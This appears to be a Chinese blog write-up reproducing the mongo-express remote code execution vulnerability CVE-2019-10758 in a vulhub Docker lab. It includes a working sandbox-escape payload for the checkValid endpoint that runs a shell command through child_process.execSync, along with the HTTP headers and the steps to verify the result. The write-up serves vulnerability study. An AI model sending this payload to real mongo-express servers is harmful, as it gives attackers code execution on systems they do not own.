当前位置:网站首页>mongo-express 远程代码执行漏洞复现

mongo-express 远程代码执行漏洞复现

2022-08-11 05:32:00 Tauil

漏洞原理

mongo-expresscollection.js 中,checkValidIndexJSONcheckValidJSON 在处理消息体 document 内容时使用的 addDoc.getValueaddIndexDoc.getValue 方法没有进行检验,导致在知晓用户密码情况下可以执行js代码

const addDoc = CodeMirror.fromTextArea(document.getElementById('document'), {
    
  mode: {
     name: 'javascript', json: true },
  indentUnit: 4,
  electricChars: true,
  matchBrackets: true,
  lineNumbers: true,
  theme: ME_SETTINGS.codeMirrorEditorTheme,
});

const addIndexDoc = CodeMirror.fromTextArea(document.getElementById('index'), {
    
  mode: {
     name: 'javascript', json: true },
  indentUnit: 4,
  electricChars: true,
  matchBrackets: true,
  lineNumbers: true,
  theme: ME_SETTINGS.codeMirrorEditorTheme,
});
window.checkValidJSON = function () {
    
  $.ajax({
    
    type: 'POST',
    url: `${
      ME_SETTINGS.baseHref}checkValid`,
    data: {
    
      document: addDoc.getValue(),
    },
  }).done((data) => {
    
    if (data === 'Valid') {
    
      $('#documentInvalidJSON').remove();
      $('#addDocumentForm').submit();
    } else if ($('#documentInvalidJSON').length === 0) {
    
      $('#document-modal-body').parent().append('<div id="documentInvalidJSON" class="alert alert-danger"><strong>Invalid JSON</strong></div>');
    }
  });
  return false;
};


window.checkValidIndexJSON = function () {
    
  $.ajax({
    
    type: 'POST',
    url: `${
      ME_SETTINGS.baseHref}checkValid`,
    data: {
    
      document: addIndexDoc.getValue(),
    },
  }).done((data) => {
    
    if (data === 'Valid') {
    
      $('#indexInvalidJSON').remove();
      $('#addIndexForm').submit();
    } else if ($('#indexInvalidJSON').length === 0) {
    
      $('#index-modal-body').parent().append('<div id="indexInvalidJSON" class="alert alert-danger"><strong>Invalid JSON</strong></div>');
    }
  });
  return false;
};

漏洞复现

js文件中定义了该页面访问路径在 http://靶机IP:8081/checkValid ,需要用POST方式提交

消息体内容写入

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/hacker")

同时数据包需要新增类型

Authorization: Basic 用户:密码base64编码值
Content-Type: application/x-www-form-urlencoded

打开靶场:vulhub

cd mongo-express/CVE-2019-10758/
sudo docker-compose docker up -d
sudo docker-compose ps

登录网页,发送数据包

在这里插入图片描述
进入靶机容器

sudo docker ps
sudo docker exec -it 容器ID bash
ls /tmp

命令执行成功

在这里插入图片描述

原网站

版权声明
本文为[Tauil]所创,转载请带上原文链接,感谢
https://blog.csdn.net/Tauil/article/details/126076718